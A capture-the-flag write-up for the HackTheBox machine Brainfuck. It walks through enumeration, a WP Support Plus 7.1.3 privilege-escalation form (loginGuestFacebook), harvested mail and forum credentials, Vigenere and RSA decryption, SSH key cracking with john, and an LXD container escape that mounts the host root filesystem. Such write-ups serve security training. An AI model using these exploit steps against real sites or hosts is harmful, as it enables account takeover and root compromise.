Post

HackTheBox Brainfuck

Writeup for HackTheBox Brainfuck

HackTheBox Brainfuck

Machine Synopsis

Key Exploitation Techniques:

  • DNS Enumeration (SSL Certificate SANs)
  • WordPress Plugin Vulnerability (WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation via loginGuestFacebook)
  • Credential Harvesting (SMTP password from WP config)
  • Mailbox Enumeration (POP3/IMAP access)
  • Vigenere Cipher Decryption (with known plaintext)
  • Encrypted SSH Key Cracking (John the Ripper)
  • RSA Decryption (known p, q, e factors)
  • LXD Privilege Escalation (Abuse of lxd group membership)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ nmap -p- --min-rate 10000 10.10.10.17 

PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https

$ nmap -p 22,25,110,143,443 -sCV 10.10.10.17

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
|   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: RESP-CODES USER SASL(PLAIN) AUTH-RESP-CODE CAPA UIDL TOP PIPELINING
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: post-login capabilities SASL-IR LITERAL+ ENABLE more IMAP4rev1 IDLE LOGIN-REFERRALS listed have ID OK Pre-login AUTH=PLAINA0001
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_http-title: Welcome to nginx!
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

default_ip_website.png

The SSL certificate for HTTPS on port 443 revealed hostnames brainfuck.htb and sup3rs3cr3t.brainfuck.htb. These were added to /etc/hosts.

1
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

https_website.png

The certificate also showed orestis@brainfuck.htb as an email address.

1
2
3
4
5
6
7
emailAddress = orestis@brainfuck.htb
CN = brainfuck.htb
OU = IT
O = Brainfuck Ltd.
L = Athens
ST = Attica
C = GR

wpscan against https://brainfuck.htb identified the wp-support-plus-responsive-ticket-system plugin version 7.1.3, which was outdated.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ wpscan --url https://brainfuck.htb --disable-tls-checks
...
[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt


$ searchsploit wordpress support plus     
...
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation                                     | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection                                            | php/webapps/40939.txt
...

searchsploit confirmed known vulnerabilities for this plugin version, including privilege escalation (41006.txt) and SQL Injection (40939.txt).

Exploitation

WordPress Admin Access (loginGuestFacebook)

Exploiting the privilege escalation vulnerability in WP Support Plus Responsive Ticket System version 7.1.3 was performed via a crafted HTML form (hehe.html). This specific vulnerability involved abusing the loginGuestFacebook action to gain admin privileges

1
2
3
4
5
6
7
$ cat hehe.html     
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="admin">
	<input type="hidden" name="email" value="orestis@brainfuck.htb">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

malicious_html.png

Submitting this form, then navigating to https://brainfuck.htb/wp-admin/admin-ajax.php and refreshing https://brainfuck.htb/, granted administrative access to the WordPress site.

brainfuck_admin.png

SMTP Credential Discovery & Mailbox Enumeration

Within the WordPress admin panel, the WP SMTP plugin configuration revealed SMTP credentials: orestis:kHGuERB29DNiNE.

wp_plugins.png

wp_admin_dashboard.png

wp_plugin_password.png

These were used to access Orestis’s mailbox via POP3/IMAP

Connecting to the POP3 service on port 110 (e.g., using telnet or a mail client) with these credentials, an interesting email was found. This email contained credentials for a “secret forum” on sup3rs3cr3t.brainfuck.htb: orestis:kIEnnfEKJ#9UmdO.

supersecret_website.png

supersecret_discussion.png

supersecret_admin_login.png

supersecret_ssh_access.png

Vigenere Cipher Decryption & SSH Key Discovery

Accessing one of the threads revealed an encrypted message. A plaintext segment from the thread, “Pieagnm - Jkoijeg nbw zwx mle grwsnn,” was recognized as similar to “Orestis - Hacking for fun and profit.”

supersecret_keys.png

This suggested a Vigenere cipher.

vigenere_cipher.png

Using the known plaintext-ciphertext pair, the Vigenere key was determined to be fuckmybrain.

vigenere_cipher_2.png

Applying this key to the full encrypted message content revealed a link to an SSH private key: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa.

Encrypted SSH Key Cracking & SSH Access (orestis)

The id_rsa file downloaded from the discovered link was encrypted.

1
2
3
4
5
6
7
8
9
$ cat id_rsa   
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
...
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----

The SSH private key was converted to a crackable hash format using ssh2john. john was then used with rockyou.txt to crack the hash.

1
2
3
4
5
6
7
8
$ ssh2john id_rsa >> hash

$ cat hash     
id_rsa:$sshng$1$16$6904FEF19397786F75BE2D7762AE7382$1200$9a779a83f60263c0...

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt 
...
3poulakia!       (id_rsa)    

The passphrase was 3poulakia!. Permissions were set on the id_rsa file.

1
$ chmod 600 id_rsa

An SSH connection was established to 10.10.10.17 as orestis using the key and passphrase.

1
2
3
4
5
6
7
8
9
$ ssh -i id_rsa orestis@10.10.10
Enter passphrase for key 'id_rsa': 3poulakia!
...
You have mail.
orestis@brainfuck:~$ groups
orestis adm cdrom dip plugdev lxd lpadmin sambashare

orestis@brainfuck:~$ cat user.txt 
2c11cfbc5b959f73ac15a3310bd097c9

The user.txt flag was retrieved. orestis was also a member of the lxd group, indicating another potential privilege escalation path.

Privilege Escalation

RSA Decryption (Intended Path)

In orestis’s home directory, an encrypt.sage script and corresponding debug.txt and output.txt files were found.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
orestis@brainfuck:~$ ls
debug.txt  encrypt.sage  mail  output.txt  user.txt
orestis@brainfuck:~$ cat encrypt.sage 
nbits = 1024
password = open("/root/root.txt").read().strip()
...
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
...
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

encrypt.sage encrypted root.txt using RSA, logging p, q, and e to debug.txt and the ciphertext c to output.txt. This provided all necessary components to decrypt the RSA ciphertext.

1
2
3
4
5
6
orestis@brainfuck:~$ cat debug.txt 
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
orestis@brainfuck:~$ cat output.txt 
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

A Python script (decrypt_rsa.py) was used to perform the RSA decryption, given p, q, e, and c.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
$ cat decrypt_rsa.py 
def egcd(a, b):
    # ... (Euclidean algorithm for GCD and extended GCD)
    return gcd, x, y

def main():
    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )

if __name__ == "__main__":
    main()

    
$ python decrypt_rsa.py                                       
n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750

The decrypted plaintext pt was an integer. Converting this integer to hexadecimal and then converting it back to text revealed the root flag

1
2
3
4
5
6
$ python3                    
>>> pt=24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> print(pt)
24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> hex(pt)
'0x3665666331613564626238393034373531636536353636613330356262386566'

decoded_hex.png

The root flag is 6efc1a5dbb8904751ce6566a305bb8ef.

Alternative Privilege Escalation: LXD

orestis was a member of the lxd group, which allows for LXD privilege escalation. This involves creating a privileged LXD container, mounting the host’s root filesystem, and executing commands within the container to affect the host.

Initial lxc commands confirmed no existing containers or images:

1
2
3
4
5
6
7
8
9
10
orestis@brainfuck:~$ lxc list
Generating a client certificate. This may take a minute...
...
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
orestis@brainfuck:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+

A base64-encoded LXD Alpine image (bob.tar.bz2) was provided in this writeup. This was decoded and imported as an LXD image.

1
2
3
4
# Decode the base64 string and decompress
orestis@brainfuck:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhcvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
orestis@brainfuck:~$ lxc image import bob.tar.bz2 --alias bobImage
Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d

A new privileged LXD container, bobVM, was initialized and configured to mount the host’s root filesystem (/) to /r within the container.

1
2
3
4
orestis@brainfuck:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
orestis@brainfuck:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM

The container was started, and a shell was executed within it. From inside, the host’s root filesystem was accessible, allowing root.txt to be read.

1
2
3
4
5
6
7
orestis@brainfuck:~$ lxc start bobVM
orestis@brainfuck:~$ lxc exec bobVM -- /bin/sh
# whoami
root

# cat /r/root/root.txt 
6efc1a5dbb8904751ce6566a305bb8ef

The root.txt flag was retrieved.

This post is licensed under CC BY 4.0 by the author.